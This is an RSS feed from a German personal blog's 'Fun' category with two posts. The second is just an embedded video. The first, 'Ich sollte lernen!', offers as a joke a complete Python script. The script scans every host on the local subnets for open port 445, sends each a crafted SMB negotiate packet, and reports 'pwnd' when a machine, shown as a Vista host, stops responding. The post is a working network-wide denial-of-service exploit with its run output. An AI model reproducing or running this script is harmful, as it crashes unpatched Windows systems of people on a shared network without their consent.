<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>(christian.)samsel.name &#187; Fun</title>
	<atom:link href="http://christian.samsel.name/category/fun/feed/" rel="self" type="application/rss+xml" />
	<link>http://christian.samsel.name</link>
	<description>Studium, Linux und was mich sonst noch so bewegt »</description>
	<lastBuildDate>Mon, 21 Jun 2010 18:13:17 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Ich sollte lernen!</title>
		<link>http://christian.samsel.name/2009/09/ich-sollte-lernen/</link>
		<comments>http://christian.samsel.name/2009/09/ich-sollte-lernen/#comments</comments>
		<pubDate>Thu, 10 Sep 2009 17:30:53 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Fun]]></category>
		<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[bsod]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[samba]]></category>
		<category><![CDATA[vista]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/?p=182</guid>
		<description><![CDATA[Das kommt dabei raus: oxygen-mobile:~ python fun.py scanning subnet 192.168.1.3/24 &#160; sending exploit to 192.168.1.3 # Samba &#160; sending exploit to 192.168.1.13 # Vista &#160; pwnd 192.168.1.13 &#160; sending exploit to 192.168.1.14 # Windows 7 fun.py: #!/usr/bin/python &#160; from socket import socket,error from time import sleep from os import popen &#160; for ownip in popen&#40;&#34;LANG=C [...]]]></description>
			<content:encoded><![CDATA[<p>Das kommt dabei raus:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">oxygen-mobile:~ python fun.py
scanning subnet 192.168.1.3<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">24</span>
&nbsp;
sending exploit to 192.168.1.3 <span style="color: #666666; font-style: italic;"># Samba</span>
&nbsp;
sending exploit to 192.168.1.13 <span style="color: #666666; font-style: italic;"># Vista</span>
&nbsp;
pwnd 192.168.1.13
&nbsp;
sending exploit to 192.168.1.14 <span style="color: #666666; font-style: italic;"># Windows 7</span></pre></div></div>

<p><span id="more-182"></span></p>
<p>fun.py:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">socket</span> <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">socket</span>,error
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">time</span> <span style="color: #ff7700;font-weight:bold;">import</span> sleep
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">os</span> <span style="color: #ff7700;font-weight:bold;">import</span> popen
&nbsp;
<span style="color: #ff7700;font-weight:bold;">for</span> ownip <span style="color: #ff7700;font-weight:bold;">in</span> popen<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;LANG=C ip addr | grep 'inet ' | grep -v ' lo' | awk '{print $2}'&quot;</span><span style="color: black;">&#41;</span>.<span style="color: black;">readlines</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
        <span style="color: #ff7700;font-weight:bold;">print</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;scanning subnet %s&quot;</span> <span style="color: #66cc66;">%</span>ownip <span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">for</span> neighborip <span style="color: #ff7700;font-weight:bold;">in</span> popen<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot; LANG=C nmap -n -sX --open -p445 %s |grep 'Interesting ports' | awk '{ print $4}' | tr -d ':' &quot;</span> <span style="color: #66cc66;">%</span>ownip.<span style="color: black;">strip</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> <span style="color: black;">&#41;</span>.<span style="color: black;">readlines</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
                <span style="color: #ff7700;font-weight:bold;">print</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;sending exploit to %s&quot;</span> <span style="color: #66cc66;">%</span>neighborip<span style="color: black;">&#41;</span>
                host = neighborip, <span style="color: #ff4500;">445</span>
                buff = <span style="color: black;">&#40;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> 
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>72<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span> 
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>c8&quot;</span> 
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>26&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>fe&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>54&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>31&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>2e<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>2e<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>77<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>72<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>57&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>72<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>72<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>2e<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>61&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>2e<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>4c&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>2e<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>4c&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>2e<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>2e&quot;</span>
                <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
                <span style="color: black;">&#41;</span>
                <span style="color: #ff7700;font-weight:bold;">try</span>:
                        s = <span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
                        s.<span style="color: black;">settimeout</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1.0</span><span style="color: black;">&#41;</span>
                        s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span>host<span style="color: black;">&#41;</span>
                        s.<span style="color: black;">send</span><span style="color: black;">&#40;</span>buff<span style="color: black;">&#41;</span>
                        s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
                <span style="color: #ff7700;font-weight:bold;">except</span> error, msg:
                        <span style="color: #ff7700;font-weight:bold;">continue</span>
                sleep<span style="color: black;">&#40;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>
                <span style="color: #ff7700;font-weight:bold;">try</span>:
                        s = <span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
                        s.<span style="color: black;">settimeout</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1.0</span><span style="color: black;">&#41;</span>
                        s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span>host<span style="color: black;">&#41;</span>
                        s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
                <span style="color: #ff7700;font-weight:bold;">except</span>  error, msg:
                        <span style="color: #ff7700;font-weight:bold;">print</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;pwnd %s&quot;</span> <span style="color: #66cc66;">%</span>neighborip<span style="color: black;">&#41;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2009/09/ich-sollte-lernen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Campus, Alter! &#8211; rück dir Kohle raus!</title>
		<link>http://christian.samsel.name/2009/01/campus-alter-ruck-dir-kohle-raus/</link>
		<comments>http://christian.samsel.name/2009/01/campus-alter-ruck-dir-kohle-raus/#comments</comments>
		<pubDate>Sat, 17 Jan 2009 20:51:06 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Fun]]></category>
		<category><![CDATA[Studium / Uni]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/?p=150</guid>
		<description><![CDATA[Hm. Wie kommt man auf sowas?]]></description>
			<content:encoded><![CDATA[<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/JYeKqGT-2I0&#038;hl=de&#038;fs=1&#038;color1=0x234900&#038;color2=0x4e9e00"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/JYeKqGT-2I0&#038;hl=de&#038;fs=1&#038;color1=0x234900&#038;color2=0x4e9e00" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object><br />
Hm. Wie kommt man auf sowas?</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2009/01/campus-alter-ruck-dir-kohle-raus/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
